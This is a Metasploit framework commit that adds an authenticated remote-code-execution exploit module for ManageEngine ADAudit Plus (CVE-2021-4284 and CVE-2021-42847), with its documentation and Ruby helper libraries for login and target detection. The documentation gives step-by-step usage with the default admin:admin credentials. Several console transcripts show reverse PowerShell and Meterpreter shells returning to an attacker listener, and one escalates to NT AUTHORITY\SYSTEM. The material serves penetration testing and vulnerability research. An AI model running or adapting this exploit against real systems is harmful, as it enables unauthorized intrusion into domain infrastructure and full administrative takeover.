Land #17133, Add manageengine adaudit plus authenticated rce module and docs - CVE-2021-4284

This commit is contained in:
Grant Willcox
2023-05-08 13:23:38 -05:00
9 changed files with 1635 additions and 0 deletions
@@ -0,0 +1,467 @@
## Vulnerable Application
This module exploits security issues in ManageEngine ADAudit Plus prior to 7006 that allow authenticated users to execute arbitrary code
by creating a custom alert profile and leveraging the custom alert script component.
This module first runs a few checks to test the provided credentials, retrieve the configured domain(s), and
obtain the build number of ManageEngine. If the credentials are valid and the target is vulnerable, the module
creates an alert profile that will be triggered for any failed login attempt to the configured domain.
For versions prior to build 7004, the payload is directly inserted in the custom alert script component of the alert profile.
For builds 7004 and 7005, the module leverages an arbitrary file write vulnerability (CVE-2021-42847) to create a Powershell script
in the `alert_scripts` directory that contains the payload. Note that this directory will be located under the
ADAudit Plus installation directory. The name of this script is then provided as the value for the
custom alert script component of the alert profile. For these builds, Meterpreter payloads such as
`cmd/windows/powershell/meterpreter/reverse_tcp` do not seem to work and only the `cmd/windows/powershell_reverse_tcp`
payload has been tested successfully.
This module will automatically delete the created alert profile before completing. This happens even if no shell was obtained.
It should be noted that during a single run, the module will typically authenticate to the target several times.
This is because ADAudit Plus is very strict about cookies. After a user performs a successful authentication request,
the server sends a cookie that can be used to visit the dashboard. However, in order to interact with most of the API
endpoints, the user must then perform a request to `api/json/configuredDomainsList`. Only then does the server return a
cookie that can be used to interact with other endpoints. If the above requests are not performed in this exact order,
or additional requests are performed before the final cookie is obtained, the entire authentication chain needs to be repeated.
This module requires valid credentials for an account with the privileges to create alert scripts.
It has been successfully tested against ManageEngine ADAudit Plus builds
[7003](https://archives2.manageengine.com/active-directory-audit/7003/ManageEngine_ADAudit_Plus_x64.exe) and
[7005](https://archives2.manageengine.com/active-directory-audit/7005/ManageEngine_ADAudit_Plus_x64.exe) running on Windows Server 2012 R2.
Successful exploitation will result in RCE as the user running ManageEngine ADAudit Plus, which will typically be the local administrator.
Note that exploitation may require a few attempts before a shell is returned. This is because there may be a delay before
ManageEngine AdAudit Plus will properly fetch and process the alert which has been triggered. It is advisable to try a few
times, wait a bit, and then try again if you haven't gotten a shell.
## Installation Information
Vulnerable versions of ADAudit Plus are available [here](https://archives2.manageengine.com/active-directory-audit/).
Versions 7005 and prior are vulnerable by default, so no special configuration is required after installing the application.
After running the installer, you can launch ADAudit Plus by opening a command prompt with administrator privileges
and then running: `<install_dir>\bin\run.bat`. This will typically be at a location like `C:\Program Files\ManageEngine\ADAudit Plus\bin`.
Note that you may be asked to accept a license agreement and then be prompted for a license to use. Choose the Evaluation
license if this is the case. Note that targets running the Free license will not be able to be exploited due to limitations
imposed by the Free license on how often updates are retrieved.
Once this done, log into ADAudit Plus with the default credentials (set as default options for the module), aka `admin`:`admin`.
If the prompt `Default Domain Controllers Policy not configured` appears, click on the Configure link that appears to have
it configure the GPO Policy automatically for you.
Then go to notifications and check for one that says `Product Not Installed As Service` and click on `Install Now`. Once
this is done open `Group Policy Management` on the domain controller and go to Forest->Domains->Select your domain->
Default Domain Policy and right click on it then click `Edit`.
Select Computer Configuration->Policies->Windows Settings->Security Settings->Advanced Audit Policy Configuration->
Audit Policies->Logon/Logoff and set `Audit Logoff`, `Audit Logon`, `Audit Special Logon` and `Audit Other Logon/Logoff Events`
and check the `Configure the following audit events` box as well as the `Success` and `Failure` boxes beneath those.
Finally log out of the web portal. You should be able to run the module now.
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce`
3. Do: `set RHOSTS [IP]`
4. Do: `set LHOST [IP]`
5. Do: `set USERNAME [username]`
6. Do: `set PASSWORD [password]`
7. Do: `exploit`
8. Verify you get a shell on the target machine as the user running ManageEngine ADAudit Plus.
## Options
### AUTH_DOMAIN
The ADAudit Plus authentication domain to use. The default is `ADAuditPlus Authentication`. If the provided domain
does not match an authentication domain that is configured for the target, the module will throw an error and inform the user.
### USERNAME
Username to authenticate with. The default is `admin`, which matches the default ADAudit Plus credentials.
### PASSWORD
Password to authenticate with. The default is `admin`, which matches the default ADAudit Plus credentials.
## Scenarios
### ManageEngine ADAudit Plus build 7003 running on Windows Server 2012 R2
```
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > options
Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AUTH_DOMAIN ADAuditPlus Authentication yes ADAudit Plus authentication domain (default is ADAuditPlus Authentication)
PASSWORD admin yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.91.250 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8081 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to ManageEngine ADAudit Plus
USERNAME admin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (cmd/windows/powershell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.91.195 yes The listen address (an interface may be specified)
LOAD_MODULES no A list of powershell modules separated by a comma to download over the web
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows Command
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > run
[*] Started reverse TCP handler on 192.168.91.195:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using configured authentication domain alias LIES.
[*] Trying to authenticate...
[*] Found 1 configured domain(s):
[*] - LIES.local: LIES.local
[+] Successfully authenticated
[+] The target appears to be vulnerable. The target is ADAudit Plus 7003
[*] Attempting to create an alert profile
[+] Successfully created alert profile UiYnupjyi24
[*] Attempting to trigger the payload via an authentication attempt for domain LIES using incorrect credentials.
[*] Trigger attempt completed. Let's hope we get a shell...
[*] Powershell session session 1 opened (192.168.91.195:4444 -> 192.168.91.250:54442) at 2022-10-12 12:09:43 +0300
[*] Powershell session session 2 opened (192.168.91.195:4444 -> 192.168.91.250:54441) at 2022-10-12 12:09:43 +0300
[*] Attempting to delete alert UiYnupjyi24
[+] Successfully deleted alert UiYnupjyi24
PS C:\Program Files\ManageEngine\ADAudit Plus\bin>whoami
lies\administrator
PS C:\Program Files\ManageEngine\ADAudit Plus\bin>
```
### ManageEngine ADAudit Plus build 7005 running on Windows Server 2012 R2
```
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > run
[*] Started reverse TCP handler on 192.168.91.195:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using configured authentication domain alias LIES.
[*] Trying to authenticate...
[*] Found 1 configured domain(s):
[*] - LIES.local: LIES.local
[+] Successfully authenticated
[+] The target appears to be vulnerable. The target is ADAudit Plus 7005 and the endpoint for CVE-2021-42847 exists.
[*] Attempting to authenticate again in order to retrieve the required cookies.
[*] Attempting to create an alert profile
[*] Attempting to write the payload to /alert_scripts/mwlhr.ps1
[+] Successfully wrote the payload to /alert_scripts/mwlhr.ps1 in the ManageEngine ADAudit Plus install directory
[+] Successfully created alert profile dVmy0Ygz
[*] Attempting to trigger the payload via an authentication attempt for domain LIES using incorrect credentials.
[*] Trigger attempt completed. Let's hope we get a shell...
[!] Make sure to manually cleanup the mwlhr.ps1 file from /alert_scripts/ in the ManageEngine ADAudit Plus install directory
[*] Powershell session session 1 opened (192.168.91.195:4444 -> 192.168.91.250:41348) at 2022-10-12 12:59:28 +0300
[*] Powershell session session 2 opened (192.168.91.195:4444 -> 192.168.91.250:41347) at 2022-10-12 12:59:28 +0300
[*] Attempting to delete alert profile dVmy0Ygz
[+] Successfully deleted profile alert dVmy0Ygz
PS C:\Program Files\ManageEngine\ADAudit Plus\bin>whoami
lies\administrator
PS C:\Program Files\ManageEngine\ADAudit Plus\bin>
```
### ManageEngine ADAudit Plus build 6077 running on Windows Server 2022 - Powershell Payload
```
msf6 > use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce
[*] Using configured payload cmd/windows/powershell_reverse_tcp
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set RHOSTS 192.168.204.132
RHOSTS => 192.168.204.132
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set LHOST 192.168.204.128
LHOST => 192.168.204.128
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > show options
Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AUTH_DOMAIN ADAuditPlus Authentication yes ADAudit Plus authentication domain (default is ADAuditPlus Authentication)
PASSWORD admin yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.204.132 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8081 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to ManageEngine ADAudit Plus
USERNAME admin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (cmd/windows/powershell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.128 yes The listen address (an interface may be specified)
LOAD_MODULES no A list of powershell modules separated by a comma to download over the web
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows Command
View the full module info with the info, or info -d command.
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > check
[*] Using configured authentication domain alias DAFOREST.
[*] Attempting to authenticate to ADAuditPlus Authentication with username: admin and password: admin
[*] Found 1 configured domain(s): daforest.com
[+] Successfully authenticated
[*] 192.168.204.132:8081 - The target appears to be vulnerable. The target is ADAudit Plus 6077
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > exploit
[*] Started reverse TCP handler on 192.168.204.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using configured authentication domain alias DAFOREST.
[*] Attempting to authenticate to ADAuditPlus Authentication with username: admin and password: admin
[*] Found 1 configured domain(s): daforest.com
[+] Successfully authenticated
[+] The target appears to be vulnerable. The target is ADAudit Plus 6077
[*] Attempting to create an alert profile
[+] Successfully created alert profile fw4hKcxDG
[*] Attempting to trigger the payload via an authentication attempt for domain DAFOREST using incorrect credentials.
[*] Received expected reply when trying to trigger the payload. Let's hope we get a shell...
[*] Powershell session session 2 opened (192.168.204.128:4444 -> 192.168.204.132:62845) at 2023-05-04 19:42:57 -0500
[*] Powershell session session 1 opened (192.168.204.128:4444 -> 192.168.204.132:62844) at 2023-05-04 19:42:57 -0500
[*] Attempting to delete alert profile fw4hKcxDG
[+] Successfully deleted alert profile fw4hKcxDG
PS C:\Program Files\ManageEngine\ADAudit Plus\bin> whoami
daforest\administrator
PS C:\Program Files\ManageEngine\ADAudit Plus\bin> ^X^Z
Background session 2? [y/N] y
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 powershell windows Administrator @ WIN-BRSHGJGIDFM 192.168.204.128:4444 -> 192.168.204.132:62844 (192.168.204.132)
2 powershell windows Administrator @ WIN-BRSHGJGIDFM 192.168.204.128:4444 -> 192.168.204.132:62845 (192.168.204.132)
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) >
```
### ManageEngine ADAudit Plus build 6077 running on Windows Server 2022 - Meterpreter Payload
```
msf6 > use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce
[*] Using configured payload cmd/windows/powershell_reverse_tcp
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set RHOSTS 192.168.204.132
RHOSTS => 192.168.204.132
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set LHOST 192.168.204.128
LHOST => 192.168.204.128
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > show options
Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AUTH_DOMAIN ADAuditPlus Authentication yes ADAudit Plus authentication domain (default is ADAuditPlus Authentication)
PASSWORD admin yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.204.132 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8081 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to ManageEngine ADAudit Plus
USERNAME admin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (cmd/windows/powershell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.128 yes The listen address (an interface may be specified)
LOAD_MODULES no A list of powershell modules separated by a comma to download over the web
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows Command
View the full module info with the info, or info -d command.
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set payload cmd/windows/powershell/x64/meterpreter/reverse_tcp
payload => cmd/windows/powershell/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > exploit
[*] Started reverse TCP handler on 192.168.204.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using configured authentication domain alias DAFOREST.
[*] Attempting to authenticate to ADAuditPlus Authentication with username: admin and password: admin
[*] Found 1 configured domain(s): daforest.com
[+] Successfully authenticated
[+] The target appears to be vulnerable. The target is ADAudit Plus 6077
[*] Attempting to create an alert profile
[+] Successfully created alert profile iEQnR24qE9n1
[*] Attempting to trigger the payload via an authentication attempt for domain DAFOREST using incorrect credentials.
[*] Received expected reply when trying to trigger the payload. Let's hope we get a shell...
[*] Sending stage (200774 bytes) to 192.168.204.132
[*] Sending stage (200774 bytes) to 192.168.204.132
[-] Failed to load extension: uninitialized constant Rex::Post::Meterpreter::Extensions::Stdapi::Stdapi
WARNING: Local file /home/gwillcox/git/metasploit-framework/data/meterpreter/ext_server_priv.x64.dll is being used
WARNING: Local files may be incompatible with the Metasploit Framework
[!] If the client portion of stdapi or priv fails to load, you can do so manually via 'load stdapi' and/or load priv'
[*] Meterpreter session 4 opened (192.168.204.128:4444 -> 192.168.204.132:62858) at 2023-05-04 19:45:48 -0500
[*] Attempting to delete alert profile iEQnR24qE9n1
[*] Meterpreter session 3 opened (192.168.204.128:4444 -> 192.168.204.132:62857) at 2023-05-04 19:45:48 -0500
[+] Successfully deleted alert profile iEQnR24qE9n1
meterpreter > load stdapi
Loading extension stdapi...Success.
meterpreter > load priv
[!] The "priv" extension has already been loaded.
meterpreter > whoami
[-] Unknown command: whoami
meterpreter > getuid
Server username: DAFOREST\Administrator
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeDelegateSessionUserImpersonatePrivilege
SeEnableDelegationPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeMachineAccountPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```
### ManageEngine ADAudit Plus build 7005 running on Windows Server 2022 - Powershell Payload
```
msf6 > use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce
[*] Using configured payload cmd/windows/powershell_reverse_tcp
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set RHOST 192.168.204.136
RHOST => 192.168.204.136
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set LHOST 192.168.204.128
LHOST => 192.168.204.128
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > show options
Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AUTH_DOMAIN ADAuditPlus Authentication yes ADAudit Plus authentication domain (default is ADAuditPlus Authentication)
PASSWORD admin yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.204.136 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8081 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to ManageEngine ADAudit Plus
USERNAME admin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (cmd/windows/powershell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.128 yes The listen address (an interface may be specified)
LOAD_MODULES no A list of powershell modules separated by a comma to download over the web
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows Command
View the full module info with the info, or info -d command.
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > exploit
[*] Started reverse TCP handler on 192.168.204.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using configured authentication domain alias DAFOREST.
[*] Attempting to authenticate to ADAuditPlus Authentication with username: admin and password: admin
[*] Found 1 configured domain(s): daforest.com
[+] Successfully authenticated
[+] The target appears to be vulnerable. The target is ADAudit Plus 7005 and the endpoint for CVE-2021-42847 exists.
[*] Attempting to authenticate again in order to retrieve the required cookies.
[*] Attempting to create an alert profile
[*] Attempting to write the payload to /alert_scripts/akbgtwuva.ps1
[+] Successfully wrote the payload to /alert_scripts/akbgtwuva.ps1 in the ManageEngine ADAudit Plus install directory
[+] Successfully created alert profile VA8dDG52p5
[*] Attempting to trigger the payload via an authentication attempt for domain DAFOREST using incorrect credentials.
[*] Received expected reply when trying to trigger the payload. Let's hope we get a shell...
[!] Make sure to manually cleanup the akbgtwuva.ps1 file from /alert_scripts/ in the ManageEngine ADAudit Plus install directory
[*] Powershell session session 2 opened (192.168.204.128:4444 -> 192.168.204.136:53465) at 2023-05-08 12:01:55 -0500
[*] Powershell session session 1 opened (192.168.204.128:4444 -> 192.168.204.136:53464) at 2023-05-08 12:01:55 -0500
[*] Attempting to delete alert profile VA8dDG52p5
[+] Successfully deleted alert profile VA8dDG52p5
PS C:\Program Files\ManageEngine\ADAudit Plus\bin> whoami
daforest\administrator
PS C:\Program Files\ManageEngine\ADAudit Plus\bin> pwd
Path
----
C:\Program Files\ManageEngine\ADAudit Plus\bin
PS C:\Program Files\ManageEngine\ADAudit Plus\bin> ^Z
Background session 2? [y/N] y
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 powershell windows Administrator @ WIN-BRSHGJGIDFM 192.168.204.128:4444 -> 192.168.204.136:53464 (192.168.204.136)
2 powershell windows Administrator @ WIN-BRSHGJGIDFM 192.168.204.128:4444 -> 192.168.204.136:53465 (192.168.204.136)
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) >
```
@@ -0,0 +1,30 @@
module Msf
class Exploit
class Remote
module HTTP
# This module provides a way of interacting with ManageEngine ADAudit Plus installations
module ManageEngineAdauditPlus
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::JsonPostData
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs
def initialize(info = {})
super
register_options(
[
Msf::OptString.new('TARGETURI', [true, 'The base path to the ManageEngine ADAudit Plus application', '/']),
Msf::OptString.new('USERNAME', [false, 'Username to authenticate with', 'admin']),
Msf::OptString.new('PASSWORD', [false, 'Password to authenticate with', 'admin']),
], Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus
)
end
end
end
end
end
end
@@ -0,0 +1,44 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::JsonPostData
# Generates a JSON hash according to the format required by the GPOWatcherData endpoint
#
# @param options [Hash] Hash containing parameters to include in the JSON hash.
# @option options [Boolean] :isGPOData Is the data GPO data? This is set to true if so, otherwise its set to false.
# @option options [String] :DOMAIN_NAME Name of the domain being targeted.
# @option options [String] :GPO_GUID The GPO GUID to use.
# @option options [Integer] :GPO_VERSION The version number of the GPO GUID in use, or a random number from 1 to 9 if one is not supplied.
# @option options [String] :VER_FILE_NAME The version file name in a format that matches ADAudit Plus's VER_FILE_NAME format.
# @option options [String] :xmlReport An XML string containing the header to use for the report.
# @option options [String] :Html_fileName The filename to use for the post request if provided.
# @option options [String] :htmlReport The location to save the HTML report if provided.
# @return [String] A string representation of the JSON hash matching the
# format required by the GPOWatcherData endpoint. Will be an empty string
# if the options param is invalid.
def generate_gpo_watcher_data_json(options)
post_data = {}
return post_data.to_json unless options.is_a?(Hash)
post_data['isGPOData'] = options['isGPOData'] || true
post_data['DOMAIN_NAME'] = options['DOMAIN_NAME'] || ''
post_data['GPO_GUID'] = options['GPO_GUID'] || Rex::Proto::MsDtyp::MsDtypGuid.random_generate
post_data['GPO_VERSION'] = options['GPO_VERSION'] || rand(1..9)
post_data['VER_FILE_NAME'] = options['VER_FILE_NAME'] || generate_ver_file_name
post_data['xmlReport'] = options['xmlReport'] || '<?xml version="1.0" encoding="utf-16"?>'
html_fileName = options['Html_fileName']
post_data['Html_fileName'] = html_fileName if html_fileName
html_report = options['htmlReport']
post_data['htmlReport'] = html_report if html_report
post_data.to_json
end
# Returns a String matching the VER_FILE_NAME format used by ADAudit Plus
#
# @return [String] Randomly generated String matching the the VER_FILE_NAME format used by ADAudit Plus
def generate_ver_file_name
"#{rand(1..9)}_#{Rex::Text.rand_text_alphanumeric(18)}".downcase + '.xml'
end
end
@@ -0,0 +1,150 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs
# Performs a ManageEngine ADAudit Plus login.
#
# @param auth_domain [String] The authentication domain to use to log in.
# @param user [String] The username to log in as.
# @param pass [String] The password to log in with.
# @param only_get_cookie [Boolean] If this is set to true, then this method will only try to obtain an
# 'adapcsrf' cookie that is required to perform API calls.
# @return [Hash] Hash containing a `status` key, which is used to hold a
# status value as an Integer value, a `message` key, which is used
# to hold a message associated with the status value as a String. May optionally
# contain an `adapcsrf_cookie` key which maps to a String containing the
# adapcsrf cookie to be used for authentication purposes, and/or a
# `configured_domains` key which maps to an Array of Strings,
# each containing a domain name that has been configured to be used by
# the ManageEngine ADAudit Plus target.
def adaudit_plus_login(auth_domain, user = '', pass = '', only_get_cookie = false)
cookie_jar.clear # let's start fresh
# Visit the default homepage to retrieve some of the baseline cookies needed to authenticate.
res_initial_cookies = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'keep_cookies' => true
})
unless res_initial_cookies
return {
'status' => adaudit_plus_status::CONNECTION_FAILED,
'message' => 'Connection failed.'
}
end
# Make sure the target is actually ManageEngine ADAudit Plus
unless res_initial_cookies.code == 200 && res_initial_cookies.body =~ /<title>ADAudit Plus/
return {
'status' => adaudit_plus_status::UNEXPECTED_REPLY,
'message' => 'Target does not seem to be ADAudit Plus.'
}
end
# Check if we have an initial adapcsrf cookie with the expected format
unless res_initial_cookies.headers.include?('Set-Cookie') && res_initial_cookies.get_cookies =~ /adapcsrf=[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}/
return {
'status' => adaudit_plus_status::UNEXPECTED_REPLY,
'message' => 'Failed to obtain the baseline cookies needed to proceed with authentication.'
}
end
# Visit the adaudit_plus_jump_to_js_uri page to grab more cookies needed for authentication.
vprint_status('Attempting to obtain the required cookies for authentication')
res_extra_cookies = send_request_cgi({
'uri' => adaudit_plus_jump_to_js_uri,
'method' => 'GET',
'keep_cookies' => true
})
unless res_extra_cookies
return {
'status' => adaudit_plus_status::CONNECTION_FAILED,
'message' => 'Connection failed.'
}
end
# check if we have a new adapcsrf cookie with the expected format, which is different
# from the initial adapcsrf cookie format that we got before visiting the adaudit_plus_jump_to_js_uri URI.
unless res_extra_cookies.code == 200 && res_extra_cookies.headers.include?('Set-Cookie') && res_extra_cookies.get_cookies =~ /adapcsrf=[a-f0-9]{128}/
return {
'status' => adaudit_plus_status::UNEXPECTED_REPLY,
'message' => 'Failed to obtain the jump_to_js cookies required for authentication.'
}
end
vprint_status('Trying to authenticate...')
post_vars = {
'forChecking' => '',
'j_username' => user.to_s,
'j_password' => pass.to_s,
'domainName' => auth_domain.to_s,
'AUTHRULE_NAME' => 'Authenticator'
}
res_login = send_request_cgi({
'uri' => adaudit_plus_login_uri,
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => post_vars
})
# Check to see if the connection succeeded.
return {
'status' => adaudit_plus_status::CONNECTION_FAILED,
'message' => 'Connection failed'
} unless res_login
# Check to see if we got the right response code and the expected cookies.
unless res_login.code == 303 && res_login.headers.include?('Set-Cookie')
# Matches something like JSESSIONIDADAP=50E42FBF96E820A6099A1F38FA5A4854; JSESSIONIDADAPSSO=7EB091F6BB9A7A4C4476419DFC11E2A1;
# Or this JSESSIONIDADAP=50E42FBF96E820A6099A1F38FA5A4854; JSESSIONIDSSO=7EB091F6BB9A7A4C4476419DFC11E2A1;
# Or even this JSESSIONIDADAP=50E42FBF96E820A6099A1F38FA5A4854; JSESSIONIDSSO=7EB091F6BB9A7A4C4476419DFC11E2A1
unless res_login.get_cookies =~ /(?:JSESSIONID[A-Z].*?=[0-9A-Z]{32};{0,1} {0,1}){2}/
return {
'status' => adaudit_plus_status::NO_ACCESS,
'message' => 'Failed to authenticate.'
}
end
end
# Check if we are actually logged in by visiting the home page.
res_post_auth = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'keep_cookies' => true
})
return {
'status' => adaudit_plus_status::CONNECTION_FAILED,
'message' => 'Connection failed'
} unless res_post_auth
unless res_post_auth.code == 200 && res_post_auth.body.include?('ManageEngine ADAudit Plus web client is initializing')
return {
'status' => adaudit_plus_status::NO_ACCESS,
'message' => 'The web app failed to load after authenticating'
}
end
# Return the value of the adapcsrf cookie, which will be required for later actions.
adapcsrf_cookie = cookie_jar.cookies.select { |k| k.name == 'adapcsrf' }&.first
if adapcsrf_cookie.blank? || adapcsrf_cookie.value.blank?
return {
'status' => adaudit_plus_status::NO_ACCESS,
'message' => 'Failed to obtain the required adapcsrf cookie'
}
end
# In order to get a cookie we can actually use, we need to obtain the configured domains via the API,
# so we will call adaudit_plus_grab_configured_domains to retrieve this information for us.
# Note that adaudit_plus_obtain_configured_domains uses the same return format as this method.
adaudit_plus_grab_configured_domains(adapcsrf_cookie.value, only_get_cookie)
end
end
@@ -0,0 +1,16 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes
SUCCESS = 0
CONNECTION_FAILED = 1
UNEXPECTED_REPLY = 2
NO_ACCESS = 3
NO_DOMAINS = 4
NO_BUILD_NUMBER = 5
# Alias for Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes
# @return [Module] Returns the Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes module reference.
def adaudit_plus_status
Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes
end
end
@@ -0,0 +1,262 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs
# Check that a target is likely running ManageEngine ADAudit Plus
#
# @return [Hash] Hash containing a `status` key, which is used to hold a
# status value as an Integer value, a `message` key, which is used
# to hold a message associated with the status value as a String,
# and an optional 'server_response' key, which is used to hold the
# response body (String) received from the server.
def adaudit_plus_target_check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
})
unless res
return {
'status' => adaudit_plus_status::CONNECTION_FAILED,
'message' => 'Connection failed.'
}
end
if res.code == 200 && res.body =~ /<title>ADAudit Plus/
return {
'status' => adaudit_plus_status::SUCCESS,
'message' => 'The target appears to be MangeEngine ADAudit Plus',
'server_response' => res.body
}
end
{
'status' => adaudit_plus_status::UNEXPECTED_REPLY,
'message' => 'The target does not appear to be MangeEngine ADAudit Plus',
}
end
# Extract the configured aliases for the configured Active Directory
# domains from a HTTP response body.
#
# @param res_body [String] HTTP response body obtained via a GET request to the ADAudit Plus base path
# @return [Hash] Hash containing a `status` key, which is used to hold a
# status value as an Integer value, a `message` key, which is used
# to hold a message associated with the status value as a String,
# and a 'domain_aliases' key, which holds an Array of Strings for
# the configured domain aliases, or an empty Array if no domain
# aliases were found.
def adaudit_plus_grab_domain_aliases(res_body)
doc = ::Nokogiri::HTML(res_body)
css_dom_name = doc.css('select#domainName')&.first
domain_aliases = []
no_domains_response = {
'status' => adaudit_plus_status::NO_DOMAINS,
'message' => 'No configured Active Directory domains were found.',
'domain_aliases' => domain_aliases
}
return no_domains_response if css_dom_name.blank?
